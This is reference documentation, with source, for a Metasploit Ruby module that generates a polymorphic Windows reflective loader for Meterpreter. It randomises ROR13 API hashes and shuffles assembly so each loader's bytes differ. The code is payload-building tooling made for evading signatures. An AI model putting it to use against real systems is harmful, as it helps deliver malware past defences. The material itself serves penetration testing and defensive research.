Module: Msf::Payload::Windows::ReflectiveLoaderCommon

Included in:
ReflectiveLoader, ReflectiveLoaderX64
Defined in:
lib/msf/core/payload/windows/reflective_loader_common.rb

Overview

Shared assembly / patching logic for the polymorphic reflective loader. Both the ARCH_X86 and ARCH_X64 loader modules include this module and call #build_reflective_loader with arch-specific data (GraphML path, opcode prefixes, Metasm arch).

Defined Under Namespace

Classes: Error

Instance Method Summary collapse

Instance Method Details

#build_reflective_loader(opts, arch_config) ⇒ String

Build the reflective loader shellcode: shuffle the GraphML template, patch the freshly generated ROR13 IV into the two ‘mov reg, IV` instructions, patch every pre-computed DLL / function name hash to match the new IV, then assemble via Metasm.

Parameters:

  • opts (Hash)
  • arch_config (Hash)

    arch-specific data supplied by the includer

Options Hash (opts):

  • :iv (Integer)

    32-bit seed for ROR13 hashing (random when omitted)

Options Hash (arch_config):

  • :graphml_path (String)

    absolute path to the GraphML file

  • :arch (Symbol)

    ARCH_X86 or ARCH_X64

  • :metasm_arch (Class)

    Metasm::X86 or Metasm::X64

  • :iv_patch_prefixes (Array<String>)

    opcode prefixes of the two 'mov reg, IV` instructions that receive the IV

  • :dll_hash_base (String)

    opcode prefix of the 'cmp reg, hash` instruction that matches DLL name hashes

Returns:

  • (String)

    assembled and patched reflective loader shellcode

Raises:

  • (Error)

    if an expected opcode pattern is missing from the shuffled assembly



60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
# File 'lib/msf/core/payload/windows/reflective_loader_common.rb', line 60

def build_reflective_loader(opts, arch_config)
  iv = (opts[:iv] || rand(0x100000000)) & 0xFFFFFFFF

  asm = Rex::Payloads::Shuffle.from_graphml_file(
    arch_config[:graphml_path],
    arch: arch_config[:arch],
    name: 'reflective_loader',
    random: Random.new(iv)
  )

  patch_bytes = lambda { |code, oldbytes, newbytes|
    raise Error, "Failed to patch, opcode: #{oldbytes} not found." unless code.include?(oldbytes)

    code.sub(oldbytes, newbytes)
  }

  to_hashbytes = lambda { |name, nullbyte: false, unicode: false, iv: 0|
    name = name.unpack('C*').pack('v*') if unicode
    fun_hash = Rex::Text.ror13_hash(name + (nullbyte ? "\x00" : ''), iv: iv) & 0xFFFFFFFF
    [fun_hash].pack('V').bytes.map { |b| '0x%02x' % b }.join(', ')
  }

  iv_bytes = [iv].pack('V').bytes.map { |b| '0x%02x' % b }.join(', ')
  arch_config[:iv_patch_prefixes].each do |prefix|
    asm = patch_bytes.call(asm, "#{prefix} 0x00, 0x00, 0x00, 0x00", "#{prefix} #{iv_bytes}")
  end

  dlog("ReflectiveLoader IV: #{iv}")

  dll_hash_base = arch_config[:dll_hash_base]
  # The static graphml data uses hashes calculated with an IV of 0, so we patch them here using
  # the runtime's random value.
  patches = [
    { base: dll_hash_base, name: 'KERNEL32.DLL', unicode: true },
    { base: dll_hash_base, name: 'NTDLL.DLL', unicode: true },
    { base: 'db 0x3d,', name: 'LoadLibraryA', count: 2 },
    { base: 'db 0x3d,', name: 'GetProcAddress' },
    { base: 'db 0x3d,', name: 'ZwAllocateVirtualMemory', count: 2 },
    { base: 'db 0x3d,', name: 'ZwProtectVirtualMemory' },
    { base: 'db 0x3d,', name: 'NtFlushInstructionCache', count: 2 }
  ]

  patches.each do |patch|
    count = patch.fetch(:count) { 1 }
    old_hash = to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: 0)
    new_hash = to_hashbytes.call(patch[:name], unicode: patch[:unicode], iv: iv)
    count.times do
      dlog("Applying patch from #{old_hash} to #{new_hash} for #{patch[:name]}")
      asm = patch_bytes.call(asm, "#{patch[:base]} #{old_hash}", "#{patch[:base]} #{new_hash}")
    end
  end

  code = Metasm::Shellcode.assemble(arch_config[:metasm_arch].new, asm).encode_string
  hash = Rex::Text.md5_raw(code).unpack('H*').first
  dlog("Reflective Loader GraphML fingerprint: #{hash}")
  code
end

#datastore_reflective_loader_iv(ds) ⇒ Integer?

Parse the datastore-supplied fixed IV, if any. Accepts decimal or 0x-prefixed hex. Returns nil when the option is unset or blank so the caller falls back to a random IV.

Parameters:

Returns:

  • (Integer, nil)

    parsed 32-bit IV or nil

Raises:

  • (ArgumentError)

    if the option is set but not a valid integer literal



38
39
40
41
42
43
# File 'lib/msf/core/payload/windows/reflective_loader_common.rb', line 38

def datastore_reflective_loader_iv(ds)
  raw = ds['MeterpreterLoader::ReflectiveLoaderIV']
  return nil if raw.nil? || raw.to_s.strip.empty?

  Integer(raw.to_s.strip, 0) & 0xFFFFFFFF
end

#initialize(info = {}) ⇒ Object



18
19
20
21
22
23
24
25
26
27
28
29
30
# File 'lib/msf/core/payload/windows/reflective_loader_common.rb', line 18

def initialize(info = {})
  super
  register_advanced_options(
    [
      Msf::OptString.new(
        'MeterpreterLoader::ReflectiveLoaderIV',
        [false, 'Fixed 32-bit ROR13 IV for the polymorphic reflective loader (decimal or 0x-hex). ' \
                'Also seeds the GraphML shuffle, so a fixed IV yields a deterministic loader. Random when empty.']
      )
    ],
    Msf::Payload::Windows::ReflectiveLoaderCommon
  )
end